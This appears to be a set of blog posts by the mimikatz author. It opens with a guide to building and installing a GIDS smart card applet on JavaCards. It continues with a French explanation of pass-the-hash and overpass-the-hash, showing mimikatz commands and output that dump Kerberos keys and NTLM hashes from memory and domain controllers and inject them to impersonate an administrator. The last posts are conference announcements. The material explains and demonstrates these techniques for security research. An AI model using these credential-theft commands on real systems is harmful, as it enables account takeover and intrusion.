GIDS Cards

GIDS Cards are wonderful gifts from Vincent Le Toux (@mysmartlogon), they can transform JavaCards (2.2.1 or +) into universal SmartCards for Windows (7/2008r2 or +), without any middleware/crappy software to install.

You can find more information at: https://www.mysmartlogon.com/generic-identity-device-specification-gids-smart-card/ & https://docs.microsoft.com/previous-versions/windows/hardware/design/dn642100(v=vs.85)

Prerequisites

Building the applet

Download Vincent’s GIDS applet source code (clone the repository, download master branch, …) then go to its directory.
After adjusting line 1 & 2 to correct paths, you can build the binary.

set JC_HOME=c:\security\javacard\java_card_kit-2_2_1
set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_291
set PATH=%JC_HOME%\bin;%JAVA_HOME%\bin;%PATH%

javac -Xlint:-options -g -source 1.2 -target 1.2 ^
-classpath %JC_HOME%\lib\api.jar ^
src\com\mysmartlogon\gidsApplet\*.java

java -classpath %JC_HOME%\lib\converter.jar;%JC_HOME%\lib\offcardverifier.jar com.sun.javacard.converter.Converter ^
-out CAP -exportpath %JC_HOME%\api_export_files -classdir src ^
-applet 0xa0:0x00:0x00:0x03:0x97:0x42:0x54:0x46:0x59:0x02:0x01 com.mysmartlogon.gidsApplet.GidsApplet ^
com.mysmartlogon.gidsApplet 0xa0:0x00:0x00:0x03:0x97:0x42:0x54:0x46:0x59 1.0

Applet will be in: src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap

You can check some informations:

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --info --cap src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap
GlobalPlatformPro v20.01.23-0-g5ad373b
Running on Windows 10 10.0 amd64, Java 1.8.0_291 by Oracle Corporation
**** CAP info of gidsApplet.cap
CAP file (v2.1), contains: applets for JavaCard 2.2.1
Package: com.mysmartlogon.gidsApplet A00000039742544659 v1.0
Applet:  A000000397425446590201
Import:  A0000000620001                   v1.0 java.lang
Import:  A0000000620101                   v1.2 javacard.framework
Import:  A0000000620102                   v1.2 javacard.security
Import:  A0000000620201                   v1.2 javacardx.crypto
Generated by Sun Microsystems Inc. converter 1.3
On Thu Jun 24 14:29:36 CEST 2021 with JDK 1.8.0_291 (Oracle Corporation)
Code size 14965 bytes (17973 with debug)
SHA-256 ec1a1a642dbac5087ae9051c04c13c33734bd83a89139d5d30cfc238ea8d9832
SHA-1   a4379a1880e6f28c4dd3f6d4105b5ede5e59d8c9

Automated build

An automated build is available at: https://ci.appveyor.com/project/gentilkiwi/gidsapplet (for logs & artifacts).

Installing the applet in a JavaCard

  1. Tests were made with:
  2. Prefer contact readers to avoid problems during installations (or even key generations) – if interface includes contactless too, you’ll be able to use it after.
  3. Interacting with an incorect authentication key can brick the card, examples here are with default keys

Selecting reader

In case of multiple smartcard readers, you can list them to know their names

java -jar gp.jar --verbose 2>NUL | findstr /i Reader
Reader: ACS ACR122 0
# ACS ACR39U ICC Reader 0
Reader: ACS ACR39U ICC Reader 0
Reader: certgate GmbH AirID BLE 0
# HID Global OMNIKEY 5022 Smart Card Reader 0
Reader: HID Global OMNIKEY 5022 Smart Card Reader 0
Reader: OMNIKEY CardMan 3x21 0
Reader: Windows Hello for Business 1

List content

For A40

c:\security\javacard>java -jar gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement

For A22 – one default applet is present

c:\security\javacard>java -jar gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Parent:  A000000003000000
From:    A0000000620001
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement, TrustedPath, AuthorizedManagement, TokenVerification, GlobalDelete, GlobalLock, GlobalRegistry, FinalApplication, ReceiptGeneration

PKG: A0000001515350 (LOADED)
Applet:  A000000151535041

Installing

… then listing

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --install src\com\mysmartlogon\gidsApplet\javacard\gidsApplet.cap
CAP loaded

c:\security\javacard\GidsApplet-master>java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --list
ISD: A000000003000000 (OP_READY)
Privs:   SecurityDomain, CardLock, CardTerminate, CardReset, CVMManagement

APP: A000000397425446590201 (SELECTABLE)
Privs:

PKG: A00000039742544659 (LOADED)
Version: 1.0
Applet:  A000000397425446590201

(optional) Delete the applet (optional)

java -jar ..\gp.jar --reader "ACS ACR39U ICC Reader 0" --key 404142434445464748494a4b4c4d4e4f --delete A00000039742544659

Card initialization

Identifying smartcard readers

c:\security\javacard>opensc_tool --list-readers
# Detected readers (pcsc)
Nr.  Card  Features  Name
0    Yes             ACS ACR122 0
1    Yes             ACS ACR39U ICC Reader 0
2    Yes             certgate GmbH AirID BLE 0
3    Yes             HID Global OMNIKEY 5022 Smart Card Reader 0
4    Yes             OMNIKEY CardMan 3x21 0
5    Yes             Windows Hello for Business 1

Initialization

…change values, of course!

c:\security\javacard>gids_tool --reader 1 --initialize ^
--admin-key 000000000000000000000000000000000000000000000000 ^
--pin 0000 ^
--serial-number 00000000000000000000000000000000

Test

c:\security\javacard>certutil -scinfo "ACS ACR39U ICC Reader 0"
Le gestionnaire de ressource des cartes à puce est en cours d’exécution.
État de la carte/lecteur actuel :
Lecteurs : 1
0: ACS ACR39U ICC Reader 0
--- Lecteur : ACS ACR39U ICC Reader 0
--- Statut : SCARD_STATE_PRESENT | SCARD_STATE_UNPOWERED
--- Statut : Carte disponible pour utilisation.
---   Carte : Identity Device (Microsoft Generic Profile)
---    ATR :
3b 9f 95 81 31 fe 9f 00  66 46 53 05 10 00 ff 71   ;...1...fFS....q
df 00 00 00 00 00 ec                               .......

Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.


(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ blackhat 2014 – LV

blackhat

Cette année, Skip `Alva` Duckwall a eu la très gentille idée de m’inviter à présenter les nouveautés de mimikatz au sujet de Kerberos!

Nous présenterons donc, ensemble, le 7 août à 11:45 dans la salle ‘South Seas CD’ du Mandalay Bay à Las Vegas, « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It »

mimikatz_sticker
Viendez donc nous voir ! J’aurais des stickers ;)
defcon
J’essayerais aussi de passer une tête au talk de Chris Campbell : « The Secret Life of Krbtgt » à la Defcon!

gentilkiwi @ Eurotrash Security Podcast (épisode 48)

Il y a quelques semaines, Chris John Riley me proposait une petite interview pour Eurotrash Security, dans leur Podcast, disponible sur SoundCloud

Avec Chris John Riley, Wicked Clown et Dale Pearson, j’y ai abordé mimikatz, son histoire, ses fonctionnalités, etc…

A écouter rapidement pour découvrir mon légendaire « frenglish ».
Heureusement que leur slogan est : « la sécurité avec de drôles d’accents » ;)
eurotrash

gentilkiwi @ RMLL 2014 (Libre Software Meeting 2014)

sthack_elephant

Christophe Brocas m’a proposé un événement qui m’est un peu particulier : les 15èmes Rencontres Mondiales du Logiciel Libre (RMLL / LSM).

Mon attachement sur certains aspect à Windows ne laisse pas facilement deviner que j’apprécie la philosophie du libre ! Pourtant mimikatz l’est totalement, et opensource ;)

J’aurais donc la chance de participer à la track Sécurité des RMLL et présenterai donc mimikatz et ses nouveautés Mercredi 9 Juillet à 10:10 sur le campus du Triolet de l’UM2 (Université de Montpellier) – Salle SC002.

Au programme : « mimikatz, un petit voyage au cœur de la mémoire du service de sécurité Windows », des mots de passe, des hash, des clés, des tickets d’or… https://2014.rmll.info/conference80

N’oubliez pas d’aller voir toutes les autres conférences : https://2014.rmll.info/schedule, (et en particulier la track sécurité :P https://2014.rmll.info/theme26).